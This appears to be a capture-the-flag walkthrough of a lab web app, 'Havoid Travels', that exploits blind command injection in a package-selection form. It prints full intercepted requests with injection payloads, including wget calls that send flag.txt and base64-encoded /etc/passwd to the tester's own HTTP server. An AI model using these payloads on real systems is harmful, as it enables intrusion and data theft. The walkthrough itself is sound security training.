



Havoid Travels

Quick walkthrough

Homepage has “Featured Vacations” section, where it shows 2 entries:

Featured Vacations



Limelight Lodge

\$200 - \$4000

One of the cheapest and most demanded hotel when travelling, perfect for any number of people and budget limit..

Spring **20 nights** **Flight included**



Mouat

\$200 - \$2000

Run away from the chaos of the world and chill here, no place like this one. Enjoy beautiful sunsets, mountains and riverside view all at a reasonable price..

Spring, Winter **10 nights** **N/A**

Browsing inside any one of them reveals the prices and an option of checking the availability of package.

Availability & Prices

Package	From	To	Price
Single	02-02-2022	31-02-2022	€300 per night
Couple	01-03-2022	31-04-2022	€415 per night
Family	01-04-2022	31-05-2022	€500 per night
Company	01-06-2022	31-08-2022	€4000 total price

Select a package Single ▼

Submit

Info

Check-in Right after making the payment, you will receive your desired room keys.

Check-out Hand out the room keys at the reception and walk away.

Fire up **BurpSuite** and intercept the request after clicking on **Submit**.

```
POST /package-details.php HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96
Accept: text/html,application/xhtml+xml,application/xml;q=0
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://192.168.0.102
Connection: close
Referer: http://192.168.0.102/package-details.php
Upgrade-Insecure-Requests: 1

pack=Single&submit=Submit|
```

We will play with this request, press **CTRL+R** to send this request to repeater tab.

Go to repeater tab and insert **'** after **Single**. Here, we are trying to error out the application so we can have more info.

<pre> POST /package-details.php HTTP/1.1 Host: 192.168.0.102 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image /webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 26 Origin: http://192.168.0.102 Connection: close Referer: http://192.168.0.102/package-details.php Upgrade-Insecure-Requests: 1 pack=Single'&submit=Submit </pre>	<pre> 31-08-2022 </td> <td> €4000 total price </td> </tr> </tbody> </table> </div> </div> </div> <center> </center> <center> <form method="POST"> <label for="pack"> Select a package </label> <select name="pack" id="pack" </pre>
---	--

Sending the request shows blank line, probably due to a filter in place. Here we can try out a wordlist with some other characters that can likely error out the application, but most of the characters fail and simply output the blank line.

Guessing the OS to be Linux, we can try out basic bash scripting in order to get blind command execution on the machine.

Let's start with the most basic test of sleep method or pinging back our machine

Here, I will try out the simple sleep test by sending the following payload:

```

POST /package-details.php HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0)
Gecko/20100101 Firefox/96.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif
/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://192.168.0.102
Connection: close
Referer: http://192.168.0.102/package-details.php
Upgrade-Insecure-Requests: 1

pack=Single$(sleep+5)&submit=Submit

```

Response takes exactly 5 seconds to return, which confirms blind command execution.

We can further attempt to ping back out machine the same way, make sure to setup `tcpdump` on your local machine so you can see the incoming `ICMP` packets.

Let's try fetching the `flag.txt` .

Setup the simple python server using the following command on your local machine:

```
python3 -m http.server 1234
```

```
(kali㉿kali)-[/var/www/html]
$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
```

Using trial and error method, we make the following payload and send the request:

<pre>1 POST /package-details.php HTTP/1.1 2 Host: 192.168.0.102 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image /webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 72 9 Origin: http://192.168.0.102 0 Connection: close 1 Referer: http://192.168.0.102/package-details.php 2 Upgrade-Insecure-Requests: 1 3 4 pack=Single\$(wget+192.168.0.102:1234/c=\$(cat+../flag.txt))&submit= Submit</pre>	<pre>187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202</pre>	<pre><td> €4000 total price </td> </tr> </tbody> </table> </div> </div> </div> <center> Spots left: 42. </center> <center> <form method="POST"> <label for="pack"> Select a package </label> <select name="pack" id="packs"> <option value="Single"> Single </option> <option value="Couple"> Couple</pre>
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Send this request and in the response we can see our normal `Spots left: 42.` , which means our query was executed successfully.

Go back to your terminal and check the response for flag contents:

```
(kali㉿kali)-[/var/www/html]
$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
192.168.0.102 - - [28/Jan/2022 05:21:30] code 404, message File not found
192.168.0.102 - - [28/Jan/2022 05:21:30] "GET /c=test_flag HTTP/1.1" 404 -
```

Tips

In some cases, file content could be way too much and the output may not show it all. In this case, we can base 64 encode the contents and then we will get our full file content listed.

`$(wget+192.168.0.102:1234/c=$(base64+-w0+/etc/passwd))`. We do not use `|` as it is a blocked character.

[illegible]